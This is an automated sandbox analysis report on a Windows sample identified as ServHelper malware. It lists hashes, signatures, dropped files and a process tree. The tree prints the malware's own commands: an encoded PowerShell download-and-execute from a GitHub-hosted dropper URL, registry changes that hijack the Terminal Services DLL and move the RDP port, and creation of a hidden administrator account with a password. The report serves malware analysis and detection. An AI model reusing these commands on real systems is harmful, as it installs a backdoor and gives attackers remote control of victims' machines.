Analysis

  • max time kernel
    89s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    22-09-2021 07:10

General

  • Target

    61d5e32562d1c70daf0a3112f7888258.exe

  • Size

    5.7MB

  • MD5

    61d5e32562d1c70daf0a3112f7888258

  • SHA1

    11c54ce99e87637f58c7bc0bd8134c73df9bf879

  • SHA256

    da012f669961c3631b10dd147f38ca34796c40692e01b51dd206f6a5b755e605

  • SHA512

    9cad97c4c71535a2391ad73d13e27748300e3147a3383d4eee85caadb461815f9ee8e9b172e732df16813fa8f5ffdc7115e2740778ebc51c536ab06fc7910cc2

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • suricata: ET MALWARE ServHelper CnC Inital Checkin

    suricata: ET MALWARE ServHelper CnC Inital Checkin

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 9 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 19 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\61d5e32562d1c70daf0a3112f7888258.exe
    "C:\Users\Admin\AppData\Local\Temp\61d5e32562d1c70daf0a3112f7888258.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4648
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4756
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4uxgtjmy\4uxgtjmy.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4924
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7692.tmp" "c:\Users\Admin\AppData\Local\Temp\4uxgtjmy\CSC44318BFD60CB49CF9B55EE690A69664.TMP"
          4⤵
            PID:4956
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5056
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4280
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:64
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:3852
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:4040
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:4072
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4424
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:4444
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1648
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2892
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4588
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 start rdpdr
                      6⤵
                        PID:4596
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4240
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4576
                    • C:\Windows\system32\net.exe
                      net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4568
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start TermService
                        6⤵
                          PID:4704
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                    3⤵
                      PID:3600
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                      3⤵
                        PID:3676
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user WgaUtilAcc 000000 /del
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4856
                    • C:\Windows\system32\net.exe
                      net.exe user WgaUtilAcc 000000 /del
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4920
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                        3⤵
                          PID:4948
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user WgaUtilAcc TkxJONhF /add
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4968
                      • C:\Windows\system32\net.exe
                        net.exe user WgaUtilAcc TkxJONhF /add
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:4996
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user WgaUtilAcc TkxJONhF /add
                          3⤵
                            PID:5016
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:5032
                        • C:\Windows\system32\net.exe
                          net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:4100
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                            3⤵
                              PID:3912
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2036
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:3560
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
                              3⤵
                                PID:3364
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:3596
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:3040
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                3⤵
                                  PID:4252
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe user WgaUtilAcc TkxJONhF
                              1⤵
                              • Suspicious use of WriteProcessMemory
                              PID:5096
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc TkxJONhF
                                2⤵
                                • Suspicious use of WriteProcessMemory
                                PID:4128
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 user WgaUtilAcc TkxJONhF
                                  3⤵
                                    PID:2232
                              • C:\Windows\System32\cmd.exe
                                cmd.exe /C wmic path win32_VideoController get name
                                1⤵
                                • Suspicious use of WriteProcessMemory
                                PID:3236
                                • C:\Windows\System32\Wbem\WMIC.exe
                                  wmic path win32_VideoController get name
                                  2⤵
                                  • Modifies data under HKEY_USERS
                                  PID:4264
                              • C:\Windows\System32\cmd.exe
                                cmd.exe /C wmic CPU get NAME
                                1⤵
                                  PID:3216
                                  • C:\Windows\System32\Wbem\WMIC.exe
                                    wmic CPU get NAME
                                    2⤵
                                      PID:668
                                  • C:\Windows\System32\cmd.exe
                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                    1⤵
                                      PID:4084
                                      • C:\Windows\system32\cmd.exe
                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                        2⤵
                                          PID:4036
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                            3⤵
                                            • Blocklisted process makes network request
                                            • Drops file in Program Files directory
                                            • Drops file in Windows directory
                                            • Modifies data under HKEY_USERS
                                            • Suspicious behavior: EnumeratesProcesses
                                            PID:4184

                                      Network

                                      MITRE ATT&CK Enterprise v6

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      • C:\Users\Admin\AppData\Local\Temp\4uxgtjmy\4uxgtjmy.dll

                                        MD5

                                        a1d7faff5112d1dc81f5a04be27b477c

                                        SHA1

                                        54955d6fe2bf8f736546b6574f9c0e5eff28f21c

                                        SHA256

                                        cfc76ffb75214acb069bc8aa69454c1a5b01157cee33886bc9cb159324dd8a91

                                        SHA512

                                        6c0c2b187acb15f598f8cb0c1006ddbc965f020eee58258730e5cd5c80937c286eefe297d56506e195b239784a64d9cc241a1c082c71bd3a79f93818191d8c77

                                      • C:\Users\Admin\AppData\Local\Temp\RES7692.tmp

                                        MD5

                                        f6d8f41f54b59fb31bd0a40c2c6f4779

                                        SHA1

                                        02520d32ca27da68b2b45d3f78a6874e4202beb4

                                        SHA256

                                        f015b1db7b548ebf9f7e7fa9c452b382039eb51d1e1e5726562208e7e72ef6b7

                                        SHA512

                                        0b2ebb4c3c32c62cd36e54b8996d8a078f778776399c765cecce21e3c09003e92f9093d382f436789eb75f1927d07597cae0ac9c5a0df490cb82fc50cffe0ebe

                                      • C:\Users\Admin\AppData\Local\Temp\get-dnsprovider.PS1

                                        MD5

                                        9fca6b1768eba2c5d42f189123152e32

                                        SHA1

                                        560ec3249af6e8d82e994554475b870d32145352

                                        SHA256

                                        c5c7012656bfebd5ba7d4ae8459bd2fcc57ac661e413e2b1da339b9fba86de1f

                                        SHA512

                                        b72f2bc28dcde144596eabb62375479c4ddb3b004ac8759ee9523170289f55572784e695a552fd612a5dc5a56f6c76b3baee9831c7cac7123f72b2eb2aadb3f2

                                      • C:\Users\Admin\AppData\Local\Temp\ready.ps1

                                        MD5

                                        28d9755addec05c0b24cca50dfe3a92b

                                        SHA1

                                        7d3156f11c7a7fb60d29809caf93101de2681aa3

                                        SHA256

                                        abb6ceb444b3dc29fcdcb8bda4935a6a792b85bb7049cb2710d97415d9411af9

                                        SHA512

                                        891a72eeef42be3f04067225a9665020704c99f9c17473ca57e5b946dfa35cb469fa91a794ea30115ce3ed0e940edb3ccff69a16a888379f5ac46a12afaa4c42

                                      • \??\c:\Users\Admin\AppData\Local\Temp\4uxgtjmy\4uxgtjmy.0.cs

                                        MD5

                                        9f8ab7eb0ab21443a2fe06dab341510e

                                        SHA1

                                        2b88b3116a79e48bab7114e18c9b9674e8a52165

                                        SHA256

                                        e1a4fbe36125e02e100e729ce92ab74869423da87cb46da6e3c50d7c4410b2d9

                                        SHA512

                                        53f5dc4c853af5a412fde895635ef4b2de98a165e3546130fdd17a37a5c3b177e21eccf70a5ddf936ac491da2d7e8fcdbc1e564a95ec01b097841aa78869989b

                                      • \??\c:\Users\Admin\AppData\Local\Temp\4uxgtjmy\4uxgtjmy.cmdline

                                        MD5

                                        3e05447e6c6a252a07b07d20e1b41aa8

                                        SHA1

                                        20a873edfb6549c4b38a7d8dde90442b74ef3810

                                        SHA256

                                        2594fc915cfc399fe0cbdffc5237a3957c0ca0c13cb7552cf09bcbdfcc033f18

                                        SHA512

                                        25ef5b816e3ad9347810365d70bbe169a4076814a876399990580ce487f362f4bd0c9a5a8055c2d7da77977cdb87fef9eed12cc4dc2813b310fd63c1be392aab

                                      • \??\c:\Users\Admin\AppData\Local\Temp\4uxgtjmy\CSC44318BFD60CB49CF9B55EE690A69664.TMP

                                        MD5

                                        fcbafc207567a1012dc244098672e6fe

                                        SHA1

                                        7752fb795560b4b6b8c5a86623d2e46a21f0d72d

                                        SHA256

                                        37c35e26f05b48083acea7ab07f8dfb85f63d08d7c059af52d70d65f9334247d

                                        SHA512

                                        9b9b1f9641218936ec878f39ea0c490f98bf0f48469255b9bd369d4e7c441dafc73969bfcef23324749d416fd6b1b0851240e19072e6e68cb3bf89ddab90679a

                                      • \Windows\Branding\mediasrv.png

                                        MD5

                                        0750828e5a80dae0280c43945332e145

                                        SHA1

                                        fa1c85c33c0b99f8df14b6ccbd37f5df3d62c30c

                                        SHA256

                                        637dd8f4245397e281bf84433f75eeb40461e70e81a11a4c2c252dc8f9e4b947

                                        SHA512

                                        a45f4023f5d8951fef44bbe830c1b8992e7cb9c013882048d7227bac0c76869584c1ccc1d323803ced7a1e353998d0bface12eb9ef1dcd04e8e39b155528fd14

                                      • \Windows\Branding\mediasvc.png

                                        MD5

                                        0941efccfdbde6a619081456be071102

                                        SHA1

                                        4d9079f335bfdb4e88e022ffdd2193c4561f099d

                                        SHA256

                                        99dbace98f5f29a5c0c962db270dc195a8b6d2f8dbb009b79b929ff9d68d8281

                                        SHA512

                                        bbb587471dec6beae7852ae2ee1fff0efb26ce57ab69dbaf4385c965bf09a31be60c67951e52f488866daa0effab715e6b1a0aca5b02a7fdcc5dd586d84d56ab

                                      • memory/64-296-0x00000217CC928000-0x00000217CC92A000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/64-295-0x00000217CC926000-0x00000217CC928000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/64-260-0x00000217CC923000-0x00000217CC925000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/64-259-0x00000217CC920000-0x00000217CC922000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/64-246-0x0000000000000000-mapping.dmp

                                      • memory/668-372-0x0000000000000000-mapping.dmp

                                      • memory/1648-349-0x0000000000000000-mapping.dmp

                                      • memory/2232-370-0x0000000000000000-mapping.dmp

                                      • memory/2892-350-0x0000000000000000-mapping.dmp

                                      • memory/3040-367-0x0000000000000000-mapping.dmp

                                      • memory/3364-366-0x0000000000000000-mapping.dmp

                                      • memory/3560-365-0x0000000000000000-mapping.dmp

                                      • memory/3600-454-0x0000000000000000-mapping.dmp

                                      • memory/3676-455-0x0000000000000000-mapping.dmp

                                      • memory/3852-306-0x0000000000000000-mapping.dmp

                                      • memory/3912-364-0x0000000000000000-mapping.dmp

                                      • memory/4036-373-0x0000000000000000-mapping.dmp

                                      • memory/4040-307-0x0000000000000000-mapping.dmp

                                      • memory/4072-308-0x0000000000000000-mapping.dmp

                                      • memory/4100-363-0x0000000000000000-mapping.dmp

                                      • memory/4128-369-0x0000000000000000-mapping.dmp

                                      • memory/4184-383-0x0000020106E10000-0x0000020106E12000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/4184-374-0x0000000000000000-mapping.dmp

                                      • memory/4184-441-0x0000020106E18000-0x0000020106E19000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/4184-384-0x0000020106E13000-0x0000020106E15000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/4184-390-0x0000020106E16000-0x0000020106E18000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/4240-353-0x0000000000000000-mapping.dmp

                                      • memory/4252-368-0x0000000000000000-mapping.dmp

                                      • memory/4264-371-0x0000000000000000-mapping.dmp

                                      • memory/4280-258-0x0000023F8BF96000-0x0000023F8BF98000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/4280-218-0x0000023F8BF93000-0x0000023F8BF95000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/4280-216-0x0000023F8BF90000-0x0000023F8BF92000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/4280-206-0x0000000000000000-mapping.dmp

                                      • memory/4424-345-0x0000000000000000-mapping.dmp

                                      • memory/4444-346-0x0000000000000000-mapping.dmp

                                      • memory/4568-355-0x0000000000000000-mapping.dmp

                                      • memory/4576-354-0x0000000000000000-mapping.dmp

                                      • memory/4588-351-0x0000000000000000-mapping.dmp

                                      • memory/4596-352-0x0000000000000000-mapping.dmp

                                      • memory/4648-119-0x000001CD790C6000-0x000001CD790C7000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/4648-114-0x000001CD79DB0000-0x000001CD7A1AF000-memory.dmp

                                        Filesize

                                        4.0MB

                                      • memory/4648-117-0x000001CD790C3000-0x000001CD790C5000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/4648-116-0x000001CD790C0000-0x000001CD790C2000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/4648-118-0x000001CD790C5000-0x000001CD790C6000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/4704-356-0x0000000000000000-mapping.dmp

                                      • memory/4756-126-0x0000027731C70000-0x0000027731C71000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/4756-120-0x0000000000000000-mapping.dmp

                                      • memory/4756-131-0x0000027731CD3000-0x0000027731CD5000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/4756-130-0x0000027731CD0000-0x0000027731CD2000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/4756-129-0x00000277326F0000-0x00000277326F1000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/4756-140-0x0000027731CD6000-0x0000027731CD8000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/4756-145-0x0000027731CA0000-0x0000027731CA1000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/4756-151-0x0000027731CD8000-0x0000027731CD9000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/4756-153-0x0000027733140000-0x0000027733141000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/4756-152-0x0000027732DB0000-0x0000027732DB1000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/4920-359-0x0000000000000000-mapping.dmp

                                      • memory/4924-137-0x0000000000000000-mapping.dmp

                                      • memory/4948-360-0x0000000000000000-mapping.dmp

                                      • memory/4956-141-0x0000000000000000-mapping.dmp

                                      • memory/4996-361-0x0000000000000000-mapping.dmp

                                      • memory/5016-362-0x0000000000000000-mapping.dmp

                                      • memory/5056-160-0x0000000000000000-mapping.dmp

                                      • memory/5056-167-0x00000287D6F30000-0x00000287D6F32000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/5056-168-0x00000287D6F33000-0x00000287D6F35000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/5056-176-0x00000287D6F36000-0x00000287D6F38000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/5056-199-0x00000287D6F38000-0x00000287D6F3A000-memory.dmp

                                        Filesize

                                        8KB